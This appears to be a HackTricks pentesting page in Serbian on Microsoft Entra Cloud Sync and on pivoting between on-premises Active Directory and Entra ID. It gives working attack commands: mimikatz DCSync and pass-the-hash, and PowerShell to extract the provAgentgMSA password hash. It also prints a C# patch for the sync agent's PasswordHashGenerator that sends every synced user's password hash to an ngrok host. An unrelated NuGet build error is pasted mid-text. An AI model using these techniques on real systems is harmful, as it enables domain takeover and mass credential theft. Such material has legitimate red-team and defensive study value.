Az - Cloud Sync
Reading time: 9 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Cloud Sync je u suštini novi način Azure-a da synchronize the users from AD into Entra ID.
Iz dokumenata: Microsoft Entra Cloud Sync je nova ponuda od Microsoft-a dizajnirana da ispuni i postigne vaše ciljeve hibridnog identiteta za sinhronizaciju korisnika, grupa i kontakata u Microsoft Entra ID. To postiže korišćenjem Microsoft Entra cloud provisioning agenta umesto Microsoft Entra Connect aplikacije. Međutim, može se koristiti zajedno sa Microsoft Entra Connect Sync.
Generisani principi
Da bi ovo funkcionisalo, neki principi se kreiraju u Entra ID i On-Premise direktorijumu:
- U Entra ID, korisnik
On-Premises Directory Synchronization Service Account
(ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com
) se kreira sa ulogomDirectory Synchronization Accounts
(d29b2b05-8046-44ba-8758-1e26182fcf32
).
warning
Ova uloga je ranije imala mnogo privilegovanih dozvola i mogla se koristiti za escalate privileges even to global admin. Međutim, Microsoft je odlučio da ukloni sve privilegije ove uloge i dodeli joj samo novu microsoft.directory/onPremisesSynchronization/standard/read
koja zapravo ne omogućava izvršavanje bilo koje privilegovane akcije (kao što je modifikovanje lozinke ili atributa korisnika ili dodavanje nove akreditacije SP-u).
-
U Entra ID takođe se kreira grupa
AAD DC Administrators
bez članova ili vlasnika. Ova grupa je korisna ako se koristiMicrosoft Entra Domain Services
. -
U AD, ili se kreira Service Account
provAgentgMSA
sa SamAcountName kaopGMSA_<id>$@domain.com
(Get-ADServiceAccount -Filter * | Select Name,SamAccountName
), ili prilagođeni sa ovim dozvolama je potreban. Obično se kreira podrazumevani.
warning
Pored drugih dozvola, Service Account provAgentgMSA
ima DCSync dozvole, omogućavajući bilo kome ko ga kompromituje da kompromituje celu direktoriju. Za više informacija o DCSync proverite ovo.
note
Podrazumevano, korisnici poznatih privilegovanih grupa kao što su Domain Admins sa atributom adminCount
na 1 nisu sinhronizovani sa Entra ID iz bezbednosnih razloga. Međutim, drugi korisnici koji su deo privilegovanih grupa bez ovog atributa ili koji su dodeljeni visoke privilegije direktno mogu biti sinhronizovani.
Sinhronizacija lozinki
Odeljak je vrlo sličan onom iz:
- Sinhronizacija heš lozinki može biti omogućena tako da korisnici mogu prijaviti se u Entra ID koristeći svoje lozinke iz AD. Štaviše, kada god se lozinka izmeni u AD, biće ažurirana u Entra ID.
- Pisanje lozinke takođe može biti omogućeno, omogućavajući korisnicima da modifikuju svoju lozinku u Entra ID automatski sinhronizujući svoju lozinku u on-premise domenu. Ali prema trenutnim dokumentima, za ovo je potrebno koristiti Connect Agent, pa pogledajte Az Connect Sync odeljak za više informacija.
- Pisanje grupa: Ova funkcija omogućava članstvima grupa iz Entra ID da se sinhronizuju nazad u on-premises AD. To znači da ako je korisnik dodat u grupu u Entra ID, takođe će biti dodat u odgovarajuću grupu u AD.
Pivotiranje
AD --> Entra ID
- Ako se AD korisnici sinhronizuju iz AD u Entra ID, pivotiranje iz AD u Entra ID je jednostavno, samo kompromitujte lozinku nekog korisnika ili promenite lozinku nekog korisnika ili kreirajte novog korisnika i čekajte dok se ne sinhronizuje u Entra ID direktorijum (obično samo nekoliko minuta).
Tako da biste mogli, na primer
- Kompromitovati
provAgentgMSA
nalog, izvršiti DCSync napad, provaliti lozinku nekog korisnika i zatim je koristiti za prijavu u Entra ID. - Samo kreirati novog korisnika u AD, čekati dok se ne sinhronizuje u Entra ID i zatim ga koristiti za prijavu u Entra ID.
- Modifikovati lozinku nekog korisnika u AD, čekati dok se ne sinhronizuje u Entra ID i zatim je koristiti za prijavu u Entra ID.
Da biste kompromitovali provAgentgMSA
akreditive:
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
Sada možete koristiti hash gMSA da izvršite Pass-the-Hash napad protiv Entra ID koristeći provAgentgMSA
nalog i održavate postojanost, što vam omogućava da izvršite DCSync napade protiv AD-a.
Za više informacija o tome kako kompromitovati Active Directory, pogledajte:
Active Directory Methodology - HackTricks
note
Imajte na umu da ne postoji način da se Azure ili EntraID uloge dodele sinhronizovanim korisnicima na osnovu njihovih atributa, na primer, u konfiguracijama Cloud Sync. Međutim, kako bi se automatski dodelile dozvole sinhronizovanim korisnicima, neke Entra ID grupe iz AD mogu dobiti dozvole, tako da sinhronizovani korisnici unutar tih grupa takođe dobijaju iste ili se mogu koristiti dinamičke grupe, pa uvek proverite dinamička pravila i potencijalne načine za njihovo zloupotrebu:
Što se tiče postojanosti, ovaj blog post sugeriše da je moguće koristiti dnSpy da se unazadi dll Microsoft.Online.Passwordsynchronisation.dll
koji se nalazi u C:\Program Files\Microsoft Azure AD Sync\Bin
i koji koristi Cloud Sync agent za izvršavanje sinhronizacije lozinki, čineći da eksfiltrira hash lozinki korisnika koji se sinhronizuju na udaljeni server. Hash-ovi se generišu unutar klase PasswordHashGenerator
i blog post sugeriše dodavanje nekog koda tako da klasa izgleda ovako (napomena na use System.Net
i korišćenje WebClient
za eksfiltraciju hash lozinki):
using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'. C:\Program Files (x86)\Microsoft SDKs\NuGetPackages: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages'. . Please see Error List window for detailed warnings and errors.
Entra ID --> AD
-
Ako je Password Writeback omogućen, mogli biste da modifikujete lozinku nekih korisnika iz Entra ID i ako imate pristup AD mreži, povežite se koristeći njih. Za više informacija pogledajte odeljak Az Connect Sync section za više informacija jer se writeback lozinke konfiguriše koristeći taj agent.
-
U ovom trenutku Cloud Sync takođe omogućava "Microsoft Entra ID to AD", ali nakon previše vremena otkrio sam da NE MOŽE da sinhronizuje EntraID korisnike sa AD i da može samo da sinhronizuje korisnike iz EntraID koji su sinhronizovani sa hešom lozinke i dolaze iz domena koji pripada istoj domena šumi kao domena kojoj se sinhronizujemo, kao što možete pročitati na https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits:
- Ove grupe mogu sadržati samo lokalno sinhronizovane korisnike i / ili dodatne sigurnosne grupe kreirane u oblaku.
- Lokalni korisnički nalozi koji su sinhronizovani i članovi ove sigurnosne grupe kreirane u oblaku, mogu biti iz istog domena ili između domena, ali svi moraju biti iz iste šume.
Dakle, površina napada (i korisnost) ove usluge je značajno smanjena jer bi napadač morao da kompromituje inicijalni AD iz kojeg se korisnici sinhronizuju kako bi kompromitovao korisnika u drugom domenu (i oba moraju biti u istoj šumi očigledno).
Enumeration
# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.